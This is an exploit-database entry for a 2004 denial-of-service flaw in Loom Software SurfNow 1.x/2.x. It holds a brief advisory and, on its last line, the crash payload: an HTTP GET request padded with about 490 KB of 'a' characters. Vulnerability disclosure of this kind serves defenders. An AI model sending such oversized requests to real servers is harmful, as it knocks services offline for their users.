Loom Software SurfNow 1.x/2.x - GET Remote Denial of Service

EDB-ID:

23614




Platform:

Windows

Date:

2004-01-28


source: https://www.securityfocus.com/bid/9519/info

A problem has been identified in the handling of specific types of requests by SurfNOW. Upon receiving specially crafted HTTP GET requests, it is possible for a remote attacker to crash a vulnerable implementation, denying service to the user. 

GET \aaaaaaaaaaaaa[ 490 kb of a ]aaaa HTTP/1.1\n\n\n